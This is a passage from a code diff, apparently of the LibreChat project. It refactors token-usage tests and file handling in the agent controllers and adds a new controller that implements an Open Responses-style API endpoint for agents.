- read: 15,
- },
- completionTokens: 50,
- },
- );
- });
-
- it('should use spendTokens for entries without cache tokens', async () => {
- const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
- });
-
- it('should handle mixed cache and non-cache entries', async () => {
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- {
- input_tokens: 150,
- output_tokens: 30,
- model: 'gpt-4',
- input_token_details: { cache_creation: 10, cache_read: 5 },
- },
- { input_tokens: 200, output_tokens: 20, model: 'gpt-4' },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- });
-
- it('should include cache tokens in total input calculation', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'gpt-4',
- input_token_details: {
- cache_creation: 20,
- cache_read: 10,
- },
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- // Total input should include cache tokens: 100 + 20 + 10 = 130
- expect(client.usage.input_tokens).toBe(130);
+ expect(client.usage.output_tokens).toBe(163);
});
});
describe('model fallback', () => {
- it('should use usage.model when available', async () => {
- const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4-turbo' }];
-
- await client.recordCollectedUsage({
- model: 'fallback-model',
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'gpt-4-turbo' }),
- expect.any(Object),
- );
- });
-
- it('should fallback to param model when usage.model is missing', async () => {
+ it('should use param model when available', async () => {
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -630,14 +288,13 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'param-model' }),
- expect.any(Object),
- );
+ const [, params] = mockRecordCollectedUsage.mock.calls[0];
+ expect(params.model).toBe('param-model');
});
it('should fallback to client.model when param model is missing', async () => {
client.model = 'client-model';
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -646,13 +303,12 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'client-model' }),
- expect.any(Object),
- );
+ const [, params] = mockRecordCollectedUsage.mock.calls[0];
+ expect(params.model).toBe('client-model');
});
it('should fallback to agent model_parameters.model as last resort', async () => {
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -661,15 +317,14 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'gpt-4' }),
- expect.any(Object),
- );
+ const [, params] = mockRecordCollectedUsage.mock.calls[0];
+ expect(params.model).toBe('gpt-4');
});
});
describe('getStreamUsage integration', () => {
it('should return the usage object set by recordCollectedUsage', async () => {
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
await client.recordCollectedUsage({
@@ -679,10 +334,7 @@ describe('AgentClient - recordCollectedUsage', () => {
});
const usage = client.getStreamUsage();
- expect(usage).toEqual({
- input_tokens: 100,
- output_tokens: 50,
- });
+ expect(usage).toEqual({ input_tokens: 100, output_tokens: 50 });
});
it('should return undefined before recordCollectedUsage is called', () => {
@@ -690,9 +342,9 @@ describe('AgentClient - recordCollectedUsage', () => {
expect(usage).toBeUndefined();
});
+ /** Verifies usage passes the check in BaseClient.sendMessage: if (usage != null && Number(usage[this.outputTokensKey]) > 0) */
it('should have output_tokens > 0 for BaseClient.sendMessage check', async () => {
- // This test verifies the usage will pass the check in BaseClient.sendMessage:
- // if (usage != null && Number(usage[this.outputTokensKey]) > 0)
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 });
const collectedUsage = [
{ input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
{ input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
diff --git a/api/server/controllers/agents/request.js b/api/server/controllers/agents/request.js
index eb8fd5aec6..dea5400036 100644
--- a/api/server/controllers/agents/request.js
+++ b/api/server/controllers/agents/request.js
@@ -3,9 +3,9 @@ const { Constants, ViolationTypes } = require('librechat-data-provider');
const {
sendEvent,
getViolationInfo,
+ buildMessageFiles,
GenerationJobManager,
decrementPendingRequest,
- sanitizeFileForTransmit,
sanitizeMessageForTransmit,
checkAndIncrementPendingRequest,
} = require('@librechat/api');
@@ -252,13 +252,10 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit
conversation.title =
conversation && !conversation.title ? null : conversation?.title || 'New Chat';
- if (req.body.files && client.options?.attachments) {
- userMessage.files = [];
- const messageFiles = new Set(req.body.files.map((file) => file.file_id));
- for (const attachment of client.options.attachments) {
- if (messageFiles.has(attachment.file_id)) {
- userMessage.files.push(sanitizeFileForTransmit(attachment));
- }
+ if (req.body.files && Array.isArray(client.options.attachments)) {
+ const files = buildMessageFiles(req.body.files, client.options.attachments);
+ if (files.length > 0) {
+ userMessage.files = files;
}
delete userMessage.image_urls;
}
@@ -324,7 +321,7 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit
conversationId: conversation?.conversationId,
});
- GenerationJobManager.emitDone(streamId, finalEvent);
+ await GenerationJobManager.emitDone(streamId, finalEvent);
GenerationJobManager.completeJob(streamId);
await decrementPendingRequest(userId);
} else {
@@ -344,7 +341,7 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit
conversationId: conversation?.conversationId,
});
- GenerationJobManager.emitDone(streamId, finalEvent);
+ await GenerationJobManager.emitDone(streamId, finalEvent);
GenerationJobManager.completeJob(streamId, 'Request aborted');
await decrementPendingRequest(userId);
}
@@ -377,7 +374,7 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit
// abortJob already handled emitDone and completeJob
} else {
logger.error(`[ResumableAgentController] Generation error for ${streamId}:`, error);
- GenerationJobManager.emitError(streamId, error.message || 'Generation failed');
+ await GenerationJobManager.emitError(streamId, error.message || 'Generation failed');
GenerationJobManager.completeJob(streamId, error.message);
}
@@ -406,7 +403,7 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit
res.status(500).json({ error: error.message || 'Failed to start generation' });
} else {
// JSON already sent, emit error to stream so client can receive it
- GenerationJobManager.emitError(streamId, error.message || 'Failed to start generation');
+ await GenerationJobManager.emitError(streamId, error.message || 'Failed to start generation');
}
GenerationJobManager.completeJob(streamId, error.message);
await decrementPendingRequest(userId);
@@ -639,14 +636,10 @@ const _LegacyAgentController = async (req, res, next, initializeClient, addTitle
conversation.title =
conversation && !conversation.title ? null : conversation?.title || 'New Chat';
- // Process files if needed (sanitize to remove large text fields before transmission)
- if (req.body.files && client.options?.attachments) {
- userMessage.files = [];
- const messageFiles = new Set(req.body.files.map((file) => file.file_id));
- for (const attachment of client.options.attachments) {
- if (messageFiles.has(attachment.file_id)) {
- userMessage.files.push(sanitizeFileForTransmit(attachment));
- }
+ if (req.body.files && Array.isArray(client.options.attachments)) {
+ const files = buildMessageFiles(req.body.files, client.options.attachments);
+ if (files.length > 0) {
+ userMessage.files = files;
}
delete userMessage.image_urls;
}
diff --git a/api/server/controllers/agents/responses.js b/api/server/controllers/agents/responses.js
new file mode 100644
index 0000000000..83e6ad6efd
--- /dev/null
+++ b/api/server/controllers/agents/responses.js
@@ -0,0 +1,910 @@
+const { nanoid } = require('nanoid');
+const { v4: uuidv4 } = require('uuid');
+const { logger } = require('@librechat/data-schemas');
+const { Callback, ToolEndHandler, formatAgentMessages } = require('@librechat/agents');
+const { EModelEndpoint, ResourceType, PermissionBits } = require('librechat-data-provider');
+const {
+ createRun,
+ buildToolSet,
+ createSafeUser,
+ initializeAgent,
+ getBalanceConfig,
+ recordCollectedUsage,
+ getTransactionsConfig,
+ createToolExecuteHandler,
+ // Responses API
+ writeDone,
+ buildResponse,
+ generateResponseId,
+ isValidationFailure,
+ emitResponseCreated,
+ createResponseContext,
+ createResponseTracker,
+ setupStreamingResponse,
+ emitResponseInProgress,
+ convertInputToMessages,
+ validateResponseRequest,
+ buildAggregatedResponse,
+ createResponseAggregator,
+ sendResponsesErrorResponse,
+ createResponsesEventHandlers,
+ createAggregatorEventHandlers,
+} = require('@librechat/api');
+const {
+ createResponsesToolEndCallback,
+ createToolEndCallback,
+} = require('~/server/controllers/agents/callbacks');
+const { loadAgentTools, loadToolsForExecution } = require('~/server/services/ToolService');
+const { findAccessibleResources } = require('~/server/services/PermissionService');
+const { getConvoFiles, saveConvo, getConvo } = require('~/models/Conversation');
+const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
+const { getAgent, getAgents } = require('~/models/Agent');
+const db = require('~/models');
+
+/** @type {import('@librechat/api').AppConfig | null} */
+let appConfig = null;
+
+/**
+ * Set the app config for the controller
+ * @param {import('@librechat/api').AppConfig} config
+ */
+function setAppConfig(config) {
+ appConfig = config;
+}
+
+/**
+ * Creates a tool loader function for the agent.
+ * @param {AbortSignal} signal - The abort signal
+ * @param {boolean} [definitionsOnly=true] - When true, returns only serializable
+ * tool definitions without creating full tool instances (for event-driven mode)
+ */
+function createToolLoader(signal, definitionsOnly = true) {
+ return async function loadTools({
+ req,
+ res,
+ tools,
+ model,
+ agentId,
+ provider,
+ tool_options,
+ tool_resources,
+ }) {
+ const agent = { id: agentId, tools, provider, model, tool_options };
+ try {
+ return await loadAgentTools({
+ req,
+ res,
+ agent,
+ signal,
+ tool_resources,
+ definitionsOnly,
+ streamId: null,
+ });
+ } catch (error) {
+ logger.error('Error loading tools for agent ' + agentId, error);
+ }
+ };
+}
+
+/**
+ * Convert Open Responses input items to internal messages
+ * @param {import('@librechat/api').InputItem[]} input
+ * @returns {Array} Internal messages
+ */
+function convertToInternalMessages(input) {
+ return convertInputToMessages(input);
+}
+
+/**
+ * Load messages from a previous response/conversation
+ * @param {string} conversationId - The conversation/response ID
+ * @param {string} userId - The user ID
+ * @returns {Promise} Messages from the conversation
+ */
+async function loadPreviousMessages(conversationId, userId) {
+ try {
+ const messages = await db.getMessages({ conversationId, user: userId });
+ if (!messages || messages.length === 0) {
+ return [];
+ }
+
+ // Convert stored messages to internal format
+ return messages.map((msg) => {
+ const internalMsg = {
+ role: msg.isCreatedByUser ? 'user' : 'assistant',
+ content: '',
+ messageId: msg.messageId,
+ };
+
+ // Handle content - could be string or array
+ if (typeof msg.text === 'string') {
+ internalMsg.content = msg.text;
+ } else if (Array.isArray(msg.content)) {
+ // Handle content parts
+ internalMsg.content = msg.content;
+ } else if (msg.text) {
+ internalMsg.content = String(msg.text);
+ }
+
+ return internalMsg;
+ });
+ } catch (error) {
+ logger.error('[Responses API] Error loading previous messages:', error);
+ return [];
+ }
+}
+
+/**
+ * Save input messages to database
+ * @param {import('express').Request} req
+ * @param {string} conversationId
+ * @param {Array} inputMessages - Internal format messages
+ * @param {string} agentId
+ * @returns {Promise}
+ */
+async function saveInputMessages(req, conversationId, inputMessages, agentId) {
+ for (const msg of inputMessages) {
+ if (msg.role === 'user') {
+ await db.saveMessage(
+ req,
+ {
+ messageId: msg.messageId || nanoid(),
+ conversationId,
+ parentMessageId: null,
+ isCreatedByUser: true,
+ text: typeof msg.content === 'string' ? msg.content : JSON.stringify(msg.content),
+ sender: 'User',
+ endpoint: EModelEndpoint.agents,
+ model: agentId,
+ },
+ { context: 'Responses API - save user input' },
+ );
+ }
+ }
+}
+
+/**
+ * Save response output to database
+ * @param {import('express').Request} req
+ * @param {string} conversationId
+ * @param {string} responseId
+ * @param {import('@librechat/api').Response} response
+ * @param {string} agentId
+ * @returns {Promise}
+ */
+async function saveResponseOutput(req, conversationId, responseId, response, agentId) {
+ // Extract text content from output items
+ let responseText = '';
+ for (const item of response.output) {
+ if (item.type === 'message' && item.content) {
+ for (const part of item.content) {
+ if (part.type === 'output_text' && part.text) {
+ responseText += part.text;
+ }
+ }
+ }
+ }
+
+ // Save the assistant message
+ await db.saveMessage(
+ req,
+ {
+ messageId: responseId,
+ conversationId,
+ parentMessageId: null,
+ isCreatedByUser: false,
+ text: responseText,
+ sender: 'Agent',
+ endpoint: EModelEndpoint.agents,
+ model: agentId,
+ finish_reason: response.status === 'completed' ? 'stop' : response.status,
+ tokenCount: response.usage?.output_tokens,
+ },
+ { context: 'Responses API - save assistant response' },
+ );
+}
+
+/**
+ * Save or update conversation
+ * @param {import('express').Request} req
+ * @param {string} conversationId
+ * @param {string} agentId
+ * @param {object} agent
+ * @returns {Promise}
+ */
+async function saveConversation(req, conversationId, agentId, agent) {
+ await saveConvo(
+ req,
+ {
+ conversationId,
+ endpoint: EModelEndpoint.agents,
+ agentId,
+ title: agent?.name || 'Open Responses Conversation',
+ model: agent?.model,
+ },
+ { context: 'Responses API - save conversation' },
+ );
+}
+
+/**
+ * Convert stored messages to Open Responses output format
+ * @param {Array} messages - Stored messages
+ * @returns {Array} Output items
+ */
+function convertMessagesToOutputItems(messages) {
+ const output = [];
+
+ for (const msg of messages) {
+ if (!msg.isCreatedByUser) {
+ output.push({
+ type: 'message',
+ id: msg.messageId,
+ role: 'assistant',
+ status: 'completed',
+ content: [
+ {
+ type: 'output_text',
+ text: msg.text || '',
+ annotations: [],
+ },
+ ],
+ });
+ }
+ }
+
+ return output;
+}
+
+/**
+ * Create Response - POST /v1/responses
+ *
+ * Creates a model response following the Open Responses API specification.
+ * Supports both streaming and non-streaming responses.
+ *
+ * @param {import('express').Request} req
+ * @param {import('express').Response} res
+ */
+const createResponse = async (req, res) => {
+ const requestStartTime = Date.now();
+
+ // Validate request
+ const validation = validateResponseRequest(req.body);
+ if (isValidationFailure(validation)) {
+ return sendResponsesErrorResponse(res, 400, validation.error);
+ }
+
+ const request = validation.request;
+ const agentId = request.model;
+ const isStreaming = request.stream === true;
+
+ // Look up the agent
+ const agent = await getAgent({ id: agentId });
+ if (!agent) {
+ return sendResponsesErrorResponse(
+ res,
+ 404,
+ `Agent not found: ${agentId}`,
+ 'not_found',
+ 'model_not_found',
+ );
+ }
+
+ // Generate IDs
+ const responseId = generateResponseId();
+ const conversationId = request.previous_response_id ?? uuidv4();
+ const parentMessageId = null;
+
+ // Create response context
+ const context = createResponseContext(request, responseId);
+
+ logger.debug(
+ `[Responses API] Request ${responseId} started for agent ${agentId}, stream: ${isStreaming}`,
+ );
+
+ // Set up abort controller
+ const abortController = new AbortController();
+
+ // Handle client disconnect
+ req.on('close', () => {
+ if (!abortController.signal.aborted) {
+ abortController.abort();
+ logger.debug('[Responses API] Client disconnected, aborting');
+ }
+ });
+
+ try {
+ // Build allowed providers set
+ const allowedProviders = new Set(
+ appConfig?.endpoints?.[EModelEndpoint.agents]?.allowedProviders,
+ );
+
+ // Create tool loader
+ const loadTools = createToolLoader(abortController.signal);
+
+ // Initialize the agent first to check for disableStreaming
+ const endpointOption = {
+ endpoint: agent.provider,
+ model_parameters: agent.model_parameters ?? {},
+ };
+
+ const primaryConfig = await initializeAgent(
+ {
+ req,
+ res,
+ loadTools,
+ requestFiles: [],
+ conversationId,
+ parentMessageId,
+ agent,
+ endpointOption,
+ allowedProviders,
+ isInitialAgent: true,
+ },
+ {
+ getConvoFiles,
+ getFiles: db.getFiles,
+ getUserKey: db.getUserKey,
+ getMessages: db.getMessages,
+ updateFilesUsage: db.updateFilesUsage,
+ getUserKeyValues: db.getUserKeyValues,
+ getUserCodeFiles: db.getUserCodeFiles,
+ getToolFilesByIds: db.getToolFilesByIds,
+ getCodeGeneratedFiles: db.getCodeGeneratedFiles,
+ },
+ );
+
+ // Determine if streaming is enabled (check both request and agent config)
+ const streamingDisabled = !!primaryConfig.model_parameters?.disableStreaming;
+ const actuallyStreaming = isStreaming && !streamingDisabled;
+
+ // Load previous messages if previous_response_id is provided
+ let previousMessages = [];
+ if (request.previous_response_id) {
+ const userId = req.user?.id ?? 'api-user';
+ previousMessages = await loadPreviousMessages(request.previous_response_id, userId);
+ }
+
+ // Convert input to internal messages
+ const inputMessages = convertToInternalMessages(
+ typeof request.input === 'string' ? request.input : request.input,
+ );
+
+ // Merge previous messages with new input
+ const allMessages = [...previousMessages, ...inputMessages];
+
+ const toolSet = buildToolSet(primaryConfig);
+ const { messages: formattedMessages, indexTokenCountMap } = formatAgentMessages(
+ allMessages,
+ {},
+ toolSet,
+ );
+
+ // Create tracker for streaming or aggregator for non-streaming
+ const tracker = actuallyStreaming ? createResponseTracker() : null;
+ const aggregator = actuallyStreaming ? null : createResponseAggregator();
+
+ // Set up response for streaming
+ if (actuallyStreaming) {
+ setupStreamingResponse(res);
+
+ // Create handler config
+ const handlerConfig = {
+ res,
+ context,
+ tracker,
+ };
+
+ // Emit response.created then response.in_progress per Open Responses spec
+ emitResponseCreated(handlerConfig);
+ emitResponseInProgress(handlerConfig);
+
+ // Create event handlers
+ const { handlers: responsesHandlers, finalizeStream } =
+ createResponsesEventHandlers(handlerConfig);
+
+ // Collect usage for balance tracking
+ const collectedUsage = [];
+
+ // Artifact promises for processing tool outputs
+ /** @type {Promise[]} */
+ const artifactPromises = [];
+ // Use Responses API-specific callback that emits librechat:attachment events
+ const toolEndCallback = createResponsesToolEndCallback({
+ req,
+ res,
+ tracker,
+ artifactPromises,
+ });
+
+ // Create tool execute options for event-driven tool execution
+ const toolExecuteOptions = {
+ loadTools: async (toolNames) => {
+ return loadToolsForExecution({
+ req,
+ res,
+ agent,
+ toolNames,
+ signal: abortController.signal,
+ toolRegistry: primaryConfig.toolRegistry,
+ userMCPAuthMap: primaryConfig.userMCPAuthMap,
+ tool_resources: primaryConfig.tool_resources,
+ });
+ },
+ toolEndCallback,
+ };
+
+ // Combine handlers
+ const handlers = {
+ on_message_delta: responsesHandlers.on_message_delta,
+ on_reasoning_delta: responsesHandlers.on_reasoning_delta,
+ on_run_step: responsesHandlers.on_run_step,
+ on_run_step_delta: responsesHandlers.on_run_step_delta,
+ on_chat_model_end: {
+ handle: (event, data) => {
+ responsesHandlers.on_chat_model_end.handle(event, data);
+ const usage = data?.output?.usage_metadata;
+ if (usage) {
+ collectedUsage.push(usage);
+ }
+ },
+ },
+ on_tool_end: new ToolEndHandler(toolEndCallback, logger),
+ on_run_step_completed: { handle: () => {} },
+ on_chain_stream: { handle: () => {} },
+ on_chain_end: { handle: () => {} },
+ on_agent_update: { handle: () => {} },
+ on_custom_event: { handle: () => {} },
+ on_tool_execute: createToolExecuteHandler(toolExecuteOptions),
+ };
+
+ // Create and run the agent
+ const userId = req.user?.id ?? 'api-user';
+ const userMCPAuthMap = primaryConfig.userMCPAuthMap;
+
+ const run = await createRun({
+ agents: [primaryConfig],
+ messages: formattedMessages,
+ indexTokenCountMap,
+ runId: responseId,
+ signal: abortController.signal,
+ customHandlers: handlers,
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
+ user: { id: userId },
+ });
+
+ if (!run) {
+ throw new Error('Failed to create agent run');
+ }
+
+ // Process the stream
+ const config = {
+ runName: 'AgentRun',
+ configurable: {
+ thread_id: conversationId,
+ user_id: userId,
+ user: createSafeUser(req.user),
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
+ ...(userMCPAuthMap != null && { userMCPAuthMap }),
+ },
+ signal: abortController.signal,
+ streamMode: 'values',
+ version: 'v2',
+ };
+
+ await run.processStream({ messages: formattedMessages }, config, {
+ callbacks: {
+ [Callback.TOOL_ERROR]: (graph, error, toolId) => {
+ logger.error(`[Responses API] Tool Error "${toolId}"`, error);
+ },
+ },
+ });
+
+ // Record token usage against balance
+ const balanceConfig = getBalanceConfig(req.config);
+ const transactionsConfig = getTransactionsConfig(req.config);
+ recordCollectedUsage(
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+ },
+ {
+ user: userId,
+ conversationId,
+ collectedUsage,
+ context: 'message',
+ messageId: responseId,
+ balance: balanceConfig,
+ transactions: transactionsConfig,
+ model: primaryConfig.model || agent.model_parameters?.model,
+ },
+ ).catch((err) => {
+ logger.error('[Responses API] Error recording usage:', err);
+ });
+
+ // Finalize the stream
+ finalizeStream();
+ res.end();
+
+ const duration = Date.now() - requestStartTime;
+ logger.debug(`[Responses API] Request ${responseId} completed in ${duration}ms (streaming)`);
+
+ // Save to database if store: true
+ if (request.store === true) {
+ try {
+ // Save conversation
+ await saveConversation(req, conversationId, agentId, agent);
+
+ // Save input messages
+ await saveInputMessages(req, conversationId, inputMessages, agentId);
+
+ // Build response for saving (use tracker with buildResponse for streaming)
+ const finalResponse = buildResponse(context, tracker, 'completed');
+ await saveResponseOutput(req, conversationId, responseId, finalResponse, agentId);
+
+ logger.debug(
+ `[Responses API] Stored response ${responseId} in conversation ${conversationId}`,
+ );
+ } catch (saveError) {
+ logger.error('[Responses API] Error saving response:', saveError);
+ // Don't fail the request if saving fails
+ }
+ }
+
+ // Wait for artifact processing after response ends (non-blocking)
+ if (artifactPromises.length > 0) {
+ Promise.all(artifactPromises).catch((artifactError) => {
+ logger.warn('[Responses API] Error processing artifacts:', artifactError);
+ });
+ }
+ } else {
+ const aggregatorHandlers = createAggregatorEventHandlers(aggregator);
+
+ // Collect usage for balance tracking
+ const collectedUsage = [];
+
+ /** @type {Promise[]} */
+ const artifactPromises = [];
+ const toolEndCallback = createToolEndCallback({ req, res, artifactPromises, streamId: null });
+
+ const toolExecuteOptions = {
+ loadTools: async (toolNames) => {
+ return loadToolsForExecution({
+ req,
+ res,
+ agent,
+ toolNames,
+ signal: abortController.signal,
+ toolRegistry: primaryConfig.toolRegistry,
+ userMCPAuthMap: primaryConfig.userMCPAuthMap,
+ tool_resources: primaryConfig.tool_resources,
+ });
+ },
+ toolEndCallback,
+ };
+
+ const handlers = {
+ on_message_delta: aggregatorHandlers.on_message_delta,
+ on_reasoning_delta: aggregatorHandlers.on_reasoning_delta,
+ on_run_step: aggregatorHandlers.on_run_step,
+ on_run_step_delta: aggregatorHandlers.on_run_step_delta,
+ on_chat_model_end: {
+ handle: (event, data) => {
+ aggregatorHandlers.on_chat_model_end.handle(event, data);
+ const usage = data?.output?.usage_metadata;
+ if (usage) {
+ collectedUsage.push(usage);
+ }
+ },
+ },
+ on_tool_end: new ToolEndHandler(toolEndCallback, logger),
+ on_run_step_completed: { handle: () => {} },
+ on_chain_stream: { handle: () => {} },
+ on_chain_end: { handle: () => {} },
+ on_agent_update: { handle: () => {} },
+ on_custom_event: { handle: () => {} },
+ on_tool_execute: createToolExecuteHandler(toolExecuteOptions),
+ };
+
+ const userId = req.user?.id ?? 'api-user';
+ const userMCPAuthMap = primaryConfig.userMCPAuthMap;
+
+ const run = await createRun({
+ agents: [primaryConfig],
+ messages: formattedMessages,
+ indexTokenCountMap,
+ runId: responseId,
+ signal: abortController.signal,
+ customHandlers: handlers,
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
+ user: { id: userId },
+ });
+
+ if (!run) {
+ throw new Error('Failed to create agent run');
+ }
+
+ const config = {
+ runName: 'AgentRun',
+ configurable: {
+ thread_id: conversationId,
+ user_id: userId,
+ user: createSafeUser(req.user),
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
+ ...(userMCPAuthMap != null && { userMCPAuthMap }),
+ },
+ signal: abortController.signal,
+ streamMode: 'values',
+ version: 'v2',
+ };
+
+ await run.processStream({ messages: formattedMessages }, config, {
+ callbacks: {
+ [Callback.TOOL_ERROR]: (graph, error, toolId) => {
+ logger.error(`[Responses API] Tool Error "${toolId}"`, error);
+ },
+ },
+ });
+
+ // Record token usage against balance
+ const balanceConfig = getBalanceConfig(req.config);
+ const transactionsConfig = getTransactionsConfig(req.config);
+ recordCollectedUsage(
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+ },
+ {
+ user: userId,
+ conversationId,
+ collectedUsage,
+ context: 'message',
+ messageId: responseId,
+ balance: balanceConfig,
+ transactions: transactionsConfig,
+ model: primaryConfig.model || agent.model_parameters?.model,
+ },
+ ).catch((err) => {
+ logger.error('[Responses API] Error recording usage:', err);
+ });
+
+ if (artifactPromises.length > 0) {
+ try {
+ await Promise.all(artifactPromises);
+ } catch (artifactError) {
+ logger.warn('[Responses API] Error processing artifacts:', artifactError);
+ }
+ }
+
+ const response = buildAggregatedResponse(context, aggregator);
+
+ if (request.store === true) {
+ try {
+ await saveConversation(req, conversationId, agentId, agent);
+
+ await saveInputMessages(req, conversationId, inputMessages, agentId);
+
+ await saveResponseOutput(req, conversationId, responseId, response, agentId);
+
+ logger.debug(
+ `[Responses API] Stored response ${responseId} in conversation ${conversationId}`,
+ );
+ } catch (saveError) {
+ logger.error('[Responses API] Error saving response:', saveError);
+ // Don't fail the request if saving fails
+ }
+ }
+
+ res.json(response);
+
+ const duration = Date.now() - requestStartTime;
+ logger.debug(
+ `[Responses API] Request ${responseId} completed in ${duration}ms (non-streaming)`,
+ );
+ }
+ } catch (error) {
+ const errorMessage = error instanceof Error ? error.message : 'An error occurred';
+ logger.error('[Responses API] Error:', error);
+
+ // Check if we already started streaming (headers sent)
+ if (res.headersSent) {
+ // Headers already sent, write error event and close
+ writeDone(res);
+ res.end();
+ } else {
+ // Forward upstream provider status codes (e.g., Anthropic 400s) instead of masking as 500
+ const statusCode =
+ typeof error?.status === 'number' && error.status >= 400 && error.status < 600
+ ? error.status
+ : 500;
+ const errorType = statusCode >= 400 && statusCode < 500 ? 'invalid_request' : 'server_error';
+ sendResponsesErrorResponse(res, statusCode, errorMessage, errorType);
+ }
+ }
+};
+
+/**
+ * List available agents as models - GET /v1/models (also works with /v1/responses/models)
+ *
+ * Returns a list of available agents the user has remote access to.
+ *
+ * @param {import('express').Request} req
+ * @param {import('express').Response} res
+ */
+const listModels = async (req, res) => {
+ try {
+ const userId = req.user?.id;
+ const userRole = req.user?.role;
+
+ if (!userId) {
+ return sendResponsesErrorResponse(res, 401, 'Authentication required', 'auth_error');
+ }
+
+ // Find agents the user has remote access to (VIEW permission on REMOTE_AGENT)
+ const accessibleAgentIds = await findAccessibleResources({
+ userId,
+ role: userRole,
+ resourceType: ResourceType.REMOTE_AGENT,
+ requiredPermissions: PermissionBits.VIEW,
+ });
+
+ // Get the accessible agents
+ let agents = [];
+ if (accessibleAgentIds.length > 0) {
+ agents = await getAgents({ _id: { $in: accessibleAgentIds } });
+ }
+
+ // Convert to models format
+ const models = agents.map((agent) => ({
+ id: agent.id,
+ object: 'model',
+ created: Math.floor(new Date(agent.createdAt).getTime() / 1000),
+ owned_by: agent.author ?? 'librechat',
+ // Additional metadata
+ name: agent.name,
+ description: agent.description,
+ provider: agent.provider,
+ }));
+
+ res.json({
+ object: 'list',
+ data: models,
+ });
+ } catch (error) {
+ logger.error('[Responses API] Error listing models:', error);
+ sendResponsesErrorResponse(
+ res,
+ 500,
+ error instanceof Error ? error.message : 'Failed to list models',
+ 'server_error',
+ );
+ }
+};
+
+/**
+ * Get Response - GET /v1/responses/:id
+ *
+ * Retrieves a stored response by its ID.
+ * The response ID maps to a conversationId in LibreChat's storage.
+ *
+ * @param {import('express').Request} req
+ * @param {import('express').Response} res
+ */
+const getResponse = async (req, res) => {
+ try {
+ const responseId = req.params.id;
+ const userId = req.user?.id;
+
+ if (!responseId) {
+ return sendResponsesErrorResponse(res, 400, 'Response ID is required');
+ }
+
+ // The responseId could be either the response ID or the conversation ID
+ // Try to find a conversation with this ID
+ const conversation = await getConvo(userId, responseId);
+
+ if (!conversation) {
+ return sendResponsesErrorResponse(
+ res,
+ 404,
+ `Response not found: ${responseId}`,
+ 'not_found',
+ 'response_not_found',
+ );
+ }
+
+ // Load messages for this conversation
+ const messages = await db.getMessages({ conversationId: responseId, user: userId });
+
+ if (!messages || messages.length === 0) {
+ return sendResponsesErrorResponse(
+ res,
+ 404,
+ `No messages found for response: ${responseId}`,
+ 'not_found',
+ 'response_not_found',
+ );
+ }
+
+ // Convert messages to Open Responses output format
+ const output = convertMessagesToOutputItems(messages);
+
+ // Find the last assistant message for usage info
+ const lastAssistantMessage = messages.filter((m) => !m.isCreatedByUser).pop();
+
+ // Build the response object
+ const response = {
+ id: responseId,
+ object: 'response',
+ created_at: Math.floor(new Date(conversation.createdAt || Date.now()).getTime() / 1000),
+ completed_at: Math.floor(new Date(conversation.updatedAt || Date.now()).getTime() / 1000),
+ status: 'completed',
+ incomplete_details: null,
+ model: conversation.agentId || conversation.model || 'unknown',
+ previous_response_id: null,
+ instructions: null,
+ output,
+ error: null,
+ tools: [],
+ tool_choice: 'auto',
+ truncation: 'disabled',
+ parallel_tool_calls: true,
+ text: { format: { type: 'text' } },
+ temperature: 1,
+ top_p: 1,
+ presence_penalty: 0,
